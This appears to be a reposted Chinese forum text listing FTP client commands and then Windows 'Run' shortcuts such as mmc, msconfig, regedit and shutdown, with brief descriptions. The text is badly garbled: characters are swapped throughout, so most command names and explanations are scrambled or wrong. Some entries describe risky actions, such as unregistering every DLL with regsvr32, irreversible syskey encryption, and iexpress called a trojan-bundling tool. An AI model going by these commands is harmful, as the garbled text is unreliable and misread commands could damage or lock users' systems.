93nma.[pinaptertn utpottearn]：置设文件名映机制射， 使得文传件输时文件中，的些某符相互转字，换 如：nmap$ 1.$2$3.[$1，2$.]$2，$[3，]传则文输件1.a2aa.3，文时名变件a为1a，2。该 令特别命适用于远程主
机
为非UNIX的情机。
况4
.0tnransi[chanr[ostchuar]]：s设文件名字符的置译机翻制，ntr如asn1R，则文件名LLL变为RR将。R
41.ope hnstop[rot]：立指定建ftp服器务连，可指接连定接口。端
4
.passive：进2被入传动输式方
。
4
3.romppt：置设多文个件传输时的交提示。
互
44p.roxy tf-pcmd在：次要控连制接中执行一，条ft命p，令 命该令许连接两个f允p服务器，t以在个服两器务间输文件。传一条第ft命令p须为op必n，e首以先立两建服个器务的间连接
。
54pu. tolcal-ilfere[otm-feile]将本：地件文olcal-file传送远至主程机 。
4
6.pd：显w远示主机程当的工前目录作
。
4
7.qiut同：yeb，出f退p会话。 t
48.quoeta gr1，ar2g...：参数逐将发字远程ft至服p务器，：q如out syets
.
49.r
ce vreote-fmil[loecla-flei：同g]te
。0.r5egt reemot-eifel[ocll-faiel]：类于get似， 但若lcoalf-il存e在则从，上传输次断处续中。传
5.1helpr[cm-namd]：e请获求得远主机的帮助。
程
52r.sttusa[ilfe-nam]：若e未指文定件，名则示远显程机主状态的，否则 示显文件状态
。
53.enarem[rfm][ot]o：改更程主远文件机。 名
54re.es：清t除答队回。列
55.restar
tma krer：从定的指标志amkre处r，重开新始et或gut，p如：ertasrt 103 。
56r.mid drri-amn：删除e远主程机录目
5。.runiqu7e：置设文件名一只存性储若文件，在存则在，文件后加后原缀1. .，2等
58.s。en ldoacl-ilf[eremte-ofiel]同p：t。u
5.sen9pdrot设置：OPTR命的令用使。
60.
sti arge1，arg2...：参数作将为SIET令命逐字送发至远f程tp主机。
1.s6iz fileena-me显示：程主机文远件小，如大：sie itdel 270。 0
62.
tstua：显示s当前tfp状。态
6
.struc3[struct-tnaem：将文]件传输结设构置为stuct-name，r缺 省使时s用teamr构。结
64s.uinuq：e远程主将机件名文储设置存只一(与为uniruqe对应。
)
65.sstey：显m示程主机的操作远系统型。类
66.tenx：将e文件传类输设置型T为NEXE的机需所的类。型
6
7t.cik设：传输时的置节计数字。
68.器traec设置包：跟。
踪
9.6tpy[tyep-enmae]：置设文件传输类为t型ye-pnae，缺省m为scia，i:如ytp eibary，设置二n进制输方式传。
7.0musak[ewmank]s：将远程务服器缺的u省amk设置为senwmas，k：如musa 3
k
71us.er seur-nmaepa[sswod][rcaoucnt：]远程向主表明自机己身份的，需口要令时，须必入口输令，：us如era onynmos um@ymaie。
l72.
erbose：同命令行的-v参v，数设置即详报尽方告，f式tp服务器 所有响的 都将显示应给用户缺省为o，n
.
73.
?c[md：]he同l.
p
#1 十一1
：7
：算机运行计命全令 w集ivne--r-------查W检inodw版s本
w
imgmmt.msc----开w打ndois管理w体结系
wu构pmgr-d-------widonw更新程序
wisnvr--e-------检Wi查nows版本
dwmmigm.mtcs----打开iwndwso理管系体构结
uwdmgp-
r
------wi-ndow更s新程序
w
srcpti-------wind-ow脚本s主设置
宿rwie-t---------写字板inmswd----系统-息信
iaawcgr-----m-扫描仪和照相-向导机
w
nchiat--------XP自带域局网聊天
emm.xee-------显示-内使用存况
M情cosnfgiexe.--系-统置配实用序程
mp
aleyr-2-----简-易idwowsn mdieap alery
mspai
t-n------画-图
板m
tssc----------程远面连接桌
plmayre--2----媒体播放-机
mag
ifny--------放大镜用程实序
mm-c----------打开控-制
台mob
syn---c----同步-命令
d
xdagi--------检-Dir查ceX信t
息rdtwsn2--3--- -系统生医
d
emgvm.mts-c- -设管理备
df器g.rsmc------磁盘-片整理碎序
程
dismgmtk.msc--磁-盘管实用程理序
domccnfg------打开系统组-服务
dd件shear-e-----打-DDE共享设置
开
dvplay--------DVD播d器放
net
s tp oemsesgnr-e---停-信使止服
ne务t tsra metsengsr----e始开信使务服
n oetpd--a-----打开记事-本
n
loosuk----p--网-络管的理工向具导
ntb
acupk------系统-备和还原份
nraarort------屏-"讲幕人"
述nt
smmrgms.c----动存移储理管器
nmtosprqmsc---.动移储管理存操员作求
请ntsett -aan---(TC-命)检令接口
查
yscanp---p----创-建个一文公包
sysed
t--i------统配置系编器
si辑vegrfi------文-签名验证件程
序s
drnce2-3------录音
机
hrpubws-------创建共-享文夹件
s
ecpol.msc----本-安地策略
全
yskes--y------系统加密，一旦-加密不就能解开保护w，indwo xs系统的p重密双
servi码ce.ssmc---本服地务置
S设dnvl32-------音o量制控程
s序f.cex-----e---系统件检查器
文sf cs/cnnoa-w--wniods文件w保护
tsshudnt------60-倒秒时计机关令命
oturstat-r----x-p简介（安完装成出现后漫的x游p程序）
ta
smkgr-------任务管理器
-veenvwtr-------事查件看
e器uceddi--t----造字程序 -
e
xloperr-------开资源打管器
pac理akger------对-象包程序装
p
remonfms.c----算机计能性监程测
序
pogran--m-----程-序管器
理eregdt.ixee----册表注
rs
po.sm-c-----组策-结略果集
rgedet23------注册-表辑器编
onronce - p---1-5秒关
机re
svgr3 2/ *udl.-l---停d止l文件运l行
ersvgr3 2u/ izfpdl.rdll------消取IPZ持
支
md.ceex-------CM-命令D示提符
hcdsk.exe--k--C-hksk磁d检盘查
ecrmtr.gmc----证s管书实理程序
用c
ac-l----------启计动器算
carhmpa--------动字启映符射
表lcionfc-g------SQL SEVRE R客端网户实用络程
Cli序prb---d-----剪板贴看器
con查f----------启动netm-etieng
c
mpmgmo.mstc---计算机管
理
celnmag-r-----*-*整理
c
aiv.dmc-s-----引索服程序
os务-k-----------打开屏幕盘
键
obdac3d2------O-BDC数源据管器
理obe/mosoboe/a---- 检XP查是激否
活l
sumrr.gmc-s---机用户本和
lo组gfo--f------注-命销令
iexreps-s-----木马-绑工具捆系统自，带
Ns
oolupk------IP-址侦地器测
f
mgsmtm.s-----c共享文夹件管器
理u
timla-n-------辅工助具管理
器文来本猴自游岛论戏 ：htt坛:p/b/s.hbodauo.co/r3m927527
_u/